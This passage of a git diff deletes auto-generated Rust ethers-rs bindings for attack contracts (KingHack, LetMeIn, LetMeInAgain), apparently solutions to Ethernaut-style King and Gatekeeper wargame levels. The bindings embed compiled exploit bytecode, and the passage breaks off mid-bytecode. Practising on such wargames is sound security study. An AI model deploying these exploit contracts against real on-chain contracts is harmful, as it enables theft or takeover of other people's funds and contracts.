::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for KingHack { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for KingHack { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(KingHack)) - .field(&self.address()) - .finish() - } - } - impl KingHack { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - KINGHACK_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - KINGHACK_ABI.clone(), - KINGHACK_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `give_money` (0x70d50a6b) - /// function - pub fn give_money( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([112, 213, 10, 107], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `to_be_the_king` - /// (0xd1903bab) function - pub fn to_be_the_king( - &self, - who: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([209, 144, 59, 171], who) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for KingHack - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `give_money` function with signature `give_money()` - /// and selector `0x70d50a6b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "give_money", abi = "give_money()")] - pub struct GiveMoneyCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `to_be_the_king` function with signature - /// `to_be_the_king(address)` and selector `0xd1903bab` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "to_be_the_king", abi = "to_be_the_king(address)")] - pub struct ToBeTheKingCall { - pub who: ::ethers::core::types::Address, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum KingHackCalls { - GiveMoney(GiveMoneyCall), - Owner(OwnerCall), - ToBeTheKing(ToBeTheKingCall), - } - impl ::ethers::core::abi::AbiDecode for KingHackCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::GiveMoney(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::ToBeTheKing(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for KingHackCalls { - fn encode(self) -> Vec { - match self { - Self::GiveMoney(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::ToBeTheKing(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for KingHackCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::GiveMoney(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::ToBeTheKing(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for KingHackCalls { - fn from(value: GiveMoneyCall) -> Self { Self::GiveMoney(value) } - } - impl ::core::convert::From for KingHackCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From for KingHackCalls { - fn from(value: ToBeTheKingCall) -> Self { Self::ToBeTheKing(value) } - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/let_me_in.rs b/attack/src/abi/let_me_in.rs deleted file mode 100644 index 421613f..0000000 --- a/attack/src/abi/let_me_in.rs +++ /dev/null @@ -1,402 +0,0 @@ -pub use let_me_in::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod let_me_in { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("go_inside"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("go_inside"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("aublyat"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("original"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("original"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("contract GatekeeperOne"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static LETMEIN_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x03\xED8\x03\x80a\x03\xED\x839\x81\x01`@\x81\x90Ra\0/\x91a\0bV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x92V[`\0` \x82\x84\x03\x12\x15a\0tW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x8BW`\0\x80\xFD[\x93\x92PPPV[a\x03L\x80a\0\xA1`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\x004W`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14a\09W\x80cqH\xCB3\x14a\0\x90W\x80c\x8D\xA5\xCB[\x14a\0\xB3W[`\0\x80\xFD[4\x80\x15a\0EW`\0\x80\xFD[P`\x01Ta\0f\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xA3a\0\x9E6`\x04a\x02\x0FV[a\0\xE0V[`@Q\x90\x15\x15\x81R` \x01a\0\x87V[4\x80\x15a\0\xBFW`\0\x80\xFD[P`\0Ta\0f\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\0\x80a\0\xF9a\xFF\xFF\x84\x16g\x01\x01\x01\x01\0\0\0\0a\x02{V[`\xC0\x1B\x90P`\0[a\x1F\xFF\x81\x11a\x02\x08W`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c3p Na\x015\x83b\x0C5\0a\x02\xA3V[`@Q\x7F\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\xE0\x84\x90\x1B\x16\x81R\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x86\x16`\x04\x82\x01R`$\x01` `@Q\x80\x83\x03\x81`\0\x88\x87\xF1\x93PPPP\x80\x15a\x01\xE6WP`@\x80Q`\x1F=\x90\x81\x01\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x16\x82\x01\x90\x92Ra\x01\xE3\x91\x81\x01\x90a\x02\xBCV[`\x01[\x15a\x01\xF6WP`\x01\x94\x93PPPPV[\x80a\x02\0\x81a\x02\xDEV[\x91PPa\x01\x01V[PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02!W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02EW`\0\x80\xFD[\x93\x92PPPV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x81\x16\x83\x82\x16\x01\x90\x80\x82\x11\x15a\x02\x9CWa\x02\x9Ca\x02LV[P\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\xB6Wa\x02\xB6a\x02LV[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15a\x02\xCEW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02EW`\0\x80\xFD[`\0\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x03a\x03\x0FWa\x03\x0Fa\x02LV[P`\x01\x01\x90V\xFE\xA2dipfsX\"\x12 \xA8\xC70\xCE\x140\xBF\x96\x8FK\xA3\xC4l\xCEr]#\xC60\x03\xCC\x82\x1A\xC0O\x1B\xDE\x19MB\xDC\xEEdsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static LETMEIN_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\x004W`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14a\09W\x80cqH\xCB3\x14a\0\x90W\x80c\x8D\xA5\xCB[\x14a\0\xB3W[`\0\x80\xFD[4\x80\x15a\0EW`\0\x80\xFD[P`\x01Ta\0f\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xA3a\0\x9E6`\x04a\x02\x0FV[a\0\xE0V[`@Q\x90\x15\x15\x81R` \x01a\0\x87V[4\x80\x15a\0\xBFW`\0\x80\xFD[P`\0Ta\0f\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\0\x80a\0\xF9a\xFF\xFF\x84\x16g\x01\x01\x01\x01\0\0\0\0a\x02{V[`\xC0\x1B\x90P`\0[a\x1F\xFF\x81\x11a\x02\x08W`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c3p Na\x015\x83b\x0C5\0a\x02\xA3V[`@Q\x7F\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\xE0\x84\x90\x1B\x16\x81R\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x86\x16`\x04\x82\x01R`$\x01` `@Q\x80\x83\x03\x81`\0\x88\x87\xF1\x93PPPP\x80\x15a\x01\xE6WP`@\x80Q`\x1F=\x90\x81\x01\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x16\x82\x01\x90\x92Ra\x01\xE3\x91\x81\x01\x90a\x02\xBCV[`\x01[\x15a\x01\xF6WP`\x01\x94\x93PPPPV[\x80a\x02\0\x81a\x02\xDEV[\x91PPa\x01\x01V[PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02!W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02EW`\0\x80\xFD[\x93\x92PPPV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x81\x16\x83\x82\x16\x01\x90\x80\x82\x11\x15a\x02\x9CWa\x02\x9Ca\x02LV[P\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\xB6Wa\x02\xB6a\x02LV[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15a\x02\xCEW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02EW`\0\x80\xFD[`\0\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x03a\x03\x0FWa\x03\x0Fa\x02LV[P`\x01\x01\x90V\xFE\xA2dipfsX\"\x12 \xA8\xC70\xCE\x140\xBF\x96\x8FK\xA3\xC4l\xCEr]#\xC60\x03\xCC\x82\x1A\xC0O\x1B\xDE\x19MB\xDC\xEEdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static LETMEIN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct LetMeIn(::ethers::contract::Contract); - impl ::core::clone::Clone for LetMeIn { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for LetMeIn { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for LetMeIn { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for LetMeIn { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(LetMeIn)) - .field(&self.address()) - .finish() - } - } - impl LetMeIn { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - LETMEIN_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - LETMEIN_ABI.clone(), - LETMEIN_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `go_inside` (0x7148cb33) - /// function - pub fn go_inside( - &self, - aublyat: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([113, 72, 203, 51], aublyat) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `original` (0x46c715fa) - /// function - pub fn original( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([70, 199, 21, 250], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for LetMeIn - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `go_inside` function with signature - /// `go_inside(address)` and selector `0x7148cb33` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "go_inside", abi = "go_inside(address)")] - pub struct GoInsideCall { - pub aublyat: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "original", abi = "original()")] - pub struct OriginalCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum LetMeInCalls { - GoInside(GoInsideCall), - Original(OriginalCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for LetMeInCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::GoInside(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Original(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for LetMeInCalls { - fn encode(self) -> Vec { - match self { - Self::GoInside(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Original(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for LetMeInCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::GoInside(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Original(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for LetMeInCalls { - fn from(value: GoInsideCall) -> Self { Self::GoInside(value) } - } - impl ::core::convert::From for LetMeInCalls { - fn from(value: OriginalCall) -> Self { Self::Original(value) } - } - impl ::core::convert::From for LetMeInCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `go_inside` function with signature - /// `go_inside(address)` and selector `0x7148cb33` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct GoInsideReturn(pub bool); - ///Container type for all return fields from the - /// `original` function with signature `original()` and - /// selector `0x46c715fa` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OriginalReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/let_me_in_again.rs b/attack/src/abi/let_me_in_again.rs deleted file mode 100644 index a5a00b4..0000000 --- a/attack/src/abi/let_me_in_again.rs +++ /dev/null @@ -1,319 +0,0 @@ -pub use let_me_in_again::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod let_me_in_again { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("original"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("original"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("contract GatekeeperTwo"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static LETMEINAGAIN_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02;8\x03\x80a\x02;\x839\x81\x01`@\x81\x90Ra\0/\x91a\x01\x07V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x81U`@Q0``\x1B`\x01`\x01``\x1B\x03\x19\x16` \x82\x01R`4\x01`@\x80Q\x80\x83\x03`\x1F\x19\x01\x81R\x90\x82\x90R\x80Q` \x90\x91\x01 `\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x86\x16\x90\x81\x17\x90\x91Uc\x19\xB8\x10'`\xE1\x1B\x83R`\x01`\x01`\xC0\x1B\x03\x19\x91\x82\x18\x91\x82\x16`\x04\x84\x01R\x90\x92P\x90c3p N\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\0\xDBW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xFF\x91\x90a\x017V[PPPa\x01YV[`\0` \x82\x84\x03\x12\x15a\x01\x19W`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x010W`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x01IW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x010W`\0\x80\xFD[`\xD4\x80a\x01g`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80cF\xC7\x15\xFA\x14`7W\x80c\x8D\xA5\xCB[\x14`\x7FW[`\0\x80\xFD[`\x01T`V\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` 